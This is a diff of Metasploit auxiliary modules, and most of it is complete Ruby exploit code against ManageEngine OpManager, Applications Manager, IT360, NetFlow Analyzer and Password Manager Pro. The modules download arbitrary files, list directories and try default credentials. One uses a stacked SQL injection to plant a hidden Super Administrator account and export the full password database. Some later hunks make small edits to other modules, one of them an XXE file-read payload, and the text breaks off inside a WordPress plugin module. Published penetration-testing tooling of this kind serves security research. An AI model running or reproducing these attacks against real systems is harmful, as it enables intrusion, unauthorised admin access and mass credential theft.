+ print_status("#{peer} - Listing directory #{datastore['DIRECTORY']}") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'vars_get' => { + 'operation' => 'listdirectory', + 'rootDirectory' => datastore['DIRECTORY'] + } + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + + # Show data if needed + if res && res.code == 200 && res.body + vprint_line(res.body.to_s) + fname = File.basename(datastore['DIRECTORY']) + + path = store_loot( + 'manageengine.http', + 'text/plain', + datastore['RHOST'], + res.body.to_s, + fname + ) + print_good("File with directory listing saved in: #{path}") + else + print_error("#{peer} - Failed to list directory.") + end + end +end diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb new file mode 100644 index 0000000000..bc15d3d47d --- /dev/null +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Multiple Products Arbitrary File Download", + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet + on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is + unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This + module will attempt to login using the default credentials for the administrator and + guest accounts; alternatively you can provide a pre-authenticated cookie or a username + and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually + 8300). This module has been tested on both Windows and Linux with several different + versions. Windows paths have to be escaped with 4 backslashes on the command line. There is + a companion module that allows the recursive listing of any directory. This + vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7863'], + ['OSVDB', '117695'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ], + 'DisclosureDate' => 'Jan 28 2015')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), + OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), + OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), + OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) + ], self.class) + end + + + def get_cookie + cookie = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + + if res + cookie = res.get_cookies + end + + cookie + end + + def detect_it360 + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return true + end + + return false + end + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + cookie = res.get_cookies + + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'].nil? + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => 'OpManager', + 'furl' => '/', + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + end + + nil + end + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + unless datastore['IAMAGENTTICKET'].nil? + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + unless cookie.nil? + return cookie + end + end + + default_users = ['guest', 'administrator', 'admin'] + + default_users.each do |user| + print_status("#{peer} - Trying to authenticate as #{user}...") + cookie = authenticate_it360(uri[0], uri[1], user, user) + unless cookie.nil? + return cookie + end + end + + nil + end + + def run + # No point to continue if filepath is not specified + if datastore['FILEPATH'].empty? + print_error('Please supply the path of the file you want to download.') + return + end + + if detect_it360 + print_status("#{peer} - Detected IT360, attempting to login...") + cookie = login_it360 + if cookie.nil? + print_error("#{peer} - Failed to login to IT360!") + return + end + else + cookie = get_cookie + end + + servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + }) + if res && res.code == 404 + servlet = 'FailOverHelperServlet' + end + + # Create request + begin + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'vars_get' => { + 'operation' => 'copyfile', + 'fileName' => datastore['FILEPATH'] + } + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + + # Show data if needed + if res && res.code == 200 + + if res.body.to_s.bytesize == 0 + print_error("#{peer} - 0 bytes returned, file does not exist or is empty.") + return + end + + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'manageengine.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + else + print_error("#{peer} - Failed to download file.") + end + end +end diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb new file mode 100644 index 0000000000..a9e33a2dfc --- /dev/null +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -0,0 +1,328 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection', + 'Description' => %q{ + ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection + vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate + privileges and obtain Super Administrator access. A Super Administrator can then + use his privileges to dump the whole password database in CSV format. PMP can use + both MySQL and PostgreSQL databases but this module only exploits the latter as + MySQL does not support stacked queries with Java. PostgreSQL is the default database + in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, + so a higher version does not guarantee exploitability. This module has been tested + on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in + v7.1 build 7105 and above. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-8499' ], + [ 'OSVDB', '114485' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ] + ], + 'DisclosureDate' => 'Nov 8 2014')) + + register_options( + [ + Opt::RPORT(7272), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('USERNAME', [true, 'The username to login as', 'guest']), + OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), + OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/']) + ], self.class) + end + + + def login(username, password) + # 1st step: we obtain a JSESSIONID cookie... + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc') + }) + + if res && res.code == 200 + # 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions) + if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/ + orgn_name = $1 + else + orgn_name = nil + end + + if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/ + authrule_name = $1 + else + authrule_name = nil + end + + # 3rd step: we try to get the domainName for the user + cookie = res.get_cookies + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'), + 'ctype' => "application/x-www-form-urlencoded", + 'cookie' => cookie, + 'vars_get' => { + 'RequestType' => 'GetUserDomainName', + 'userName' => username + } + }) + if res && res.code == 200 && res.body + domain_name = res.body.to_s.strip + else + domain_name = nil + end + + # 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies. + # For some reason send_request_cgi! doesn't work, so follow the redirect manually... + vars_post = { + 'j_username' => username, + 'username' => username, + 'j_password' => password + } + vars_post['ORGN_NAME'] = orgn_name if orgn_name + vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name + vars_post['domainName'] = domain_name if domain_name + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')), + 'ctype' => "application/x-www-form-urlencoded", + 'cookie' => cookie, + 'vars_post' => vars_post + }) + if res && res.code == 302 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'), + 'cookie' => cookie, + }) + + if res && res.code == 200 + # 5th step: get the c ookies sent in the last response + return res.get_cookies + end + end + end + return nil + end + + + def inject_sql(old_style) + # On versions older than 7000 the injection is slightly different (we call it "old style"). + # For "new style" versions we can escalate to super admin by doing + # "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);" + # However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions. + if old_style + sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";" + else + sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";" + end + + user_id = Rex::Text.rand_text_numeric(4) + time = Rex::Text.rand_text_numeric(8) + username = Rex::Text.rand_text_alpha_lower(6) + username_chr = "" + username.each_char do |c| + username_chr << 'chr(' << c.ord.to_s << ')||' + end + username_chr.chop!.chop! + + password = Rex::Text.rand_text_alphanumeric(10) + password_chr = "" + password.each_char do |c| + password_chr << 'chr(' << c.ord.to_s << ')||' + end + password_chr.chop!.chop! + + group_chr = "" + 'Default Group'.each_char do |c| + group_chr << 'chr(' << c.ord.to_s << ')||' + end + group_chr.chop!.chop! + + sqli_command = + "insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" + + "insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" + + "insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" + + "insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" + + "insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" + + "insert into aaaauthorizedrole values (#{user_id},1);" + + "insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" + + "insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" + + "insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" + + "insert into aaaaccpassword values (#{user_id},#{user_id});" + + "insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" + + "insert into ptrx_superadmin values (#{user_id},true);" + sqli_suffix = "-- " + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"), + 'cookie' => @cookie, + 'vars_post' => { + 'COUNT' => Rex::Text.rand_text_numeric(2), + 'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix, + 'USERID' => Rex::Text.rand_text_numeric(4) + } + }) + + return [ username, password ] + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + if res && res.code == 200 && res.body && + res.body.to_s =~ /ManageEngine Password Manager Pro/ && + ( + res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 + res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 + res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 + ) + return $1.to_i + else + return 9999 + end + end + + + def check + version = get_version + case version + when 0..7104 + return Exploit::CheckCode::Appears + when 7105..9998 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end + end + + + def run + unless check == Exploit::CheckCode::Appears + print_error("#{peer} - Fingerprint hasn't been successful, trying to exploit anyway...") + end + + version = get_version + @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + if @cookie == nil + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.") + end + + creds = inject_sql(version < 7000 ? true : false) + username = creds[0] + password = creds[1] + print_good("#{peer} - Created a new Super Administrator with username: #{username} | password: #{password}") + + cookie_su = login(username, password) + + if cookie_su.nil? + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.") + end + + print_status("#{peer} - Reporting Super Administrator credentials...") + report_super_admin_creds(username, password) + + print_status("#{peer} - Leaking Password database...") + loot_passwords(cookie_su) + end + + def report_super_admin_creds(username, password) + status = Metasploit::Model::Login::Status::SUCCESSFUL + + service_data = { + address: rhost, + port: rport, + service_name: 'https', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: username, + username: password + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Super Administrator', + status: status, + last_attempted_at: DateTime.now + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + + def loot_passwords(cookie_admin) + # 1st we turn on password exports + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'), + 'cookie' => cookie_admin, + 'vars_post' => { + 'IS_XLS' => 'true', + 'includePasswd' => 'true', + 'HOMETAB' => 'true', + 'RESTAB' => 'true', + 'RGTAB' => 'true', + 'PASSWD_RULE' => 'Offline Password File', + 'LOGOUT_TIME' => '20' + } + }) + + # now get the loot! + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'), + 'cookie' => cookie_admin, + 'vars_get' => { + 'RequestType' => 'ExportResources' + } + }) + + if res && res.code == 200 && res.body && res.body.to_s.length > 0 + vprint_line(res.body.to_s) + print_good("#{peer} - Successfully exported password database from Password Manager Pro.") + loot_name = 'manageengine.passwordmanagerpro.password.db' + loot_type = 'text/csv' + loot_filename = 'manageengine_pmp_password_db.csv' + loot_desc = 'ManageEngine Password Manager Pro Password DB' + p = store_loot( + loot_name, + loot_type, + rhost, + res.body, + loot_filename, + loot_desc) + print_status("#{peer} - Password database saved in: #{p}") + else + print_error("#{peer} - Failed to export Password Manager Pro passwords.") + end + end +end diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 32c3ce4654..23df8b7b73 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ first_session = $1 end @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => "JSESSIONID=#{first_session}" }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ @session = $1 return true end diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb new file mode 100644 index 0000000000..7c76cfcc8f --- /dev/null +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in CSVServlet + on ManageEngine NetFlow Analyzer. This module has been tested on both Windows + and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you + must escape the backslash with a backslash. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-5445' ], + [ 'OSVDB', '115340' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_netflow_it360_file_dl.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Dec/9' ] + ], + 'DisclosureDate' => 'Nov 30 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', + [ true, "The base path to NetFlow Analyzer", '/netflow' ]), + OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']), + ], self.class) + end + + + def run + # Create request + begin + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'), + 'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }, + }) + rescue Rex::ConnectionError + print_error("#{peer} - Could not connect.") + return + end + + # Show data if needed + if res && res.code == 200 + if res.body.to_s.bytesize == 0 + print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.") + return + end + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'netflow.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Failed to download file.") + end + end +end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index a2c2467812..c55a974bc0 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary xml = '<!DOCTYPE foo [' xml << '<!ELEMENT host ANY>' - xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">} xml << ']>' xml << '<SiteSaveRequest session-id="' diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb index b7f254be06..8a7c25a70e 100644 --- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb +++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index 7ada6c5f27..61dc2db3d7 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 8b11dc99ac..29402da55c 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 5e699ade6f..4f7a947b08 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb index 0f64880d6e..d95a6c2802 100644 --- a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index b40fb44141..b987960189 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary 'uri' => '/admin/', }, 25) - if (res and res.code == 200) + if res && res.code == 200 - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/JSESSIONID=(.*);(.*)/i)) + if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i) jsessionid = $1 diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb index d0c4e265b5..ae1f0a6a32 100644 --- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb +++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb index 3cbc022184..5e5043da0e 100644 --- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb +++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 584c733512..dd8fb6ca8c 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb index 216734a0d6..3e43c502d6 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index c04a961a68..69db942e3a 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index efa26117ab..789b63f197 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index d59859cb5c..638d429021 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb new file mode 100644 index 0000000000..75bf278687 --- /dev/null +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress custom-contact-forms Plugin SQL Upload', + 'Description' => %q{ + The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download + a SQL dump of the plugins database tables. It's also possible to upload files containing + SQL statements which will be executed. The module first tries to extract the WordPress + table prefix from the dump and then attempts to create a new admin user. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # Vulnerability discovery + 'Christian Mehlmauer' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ], + [ 'URL', 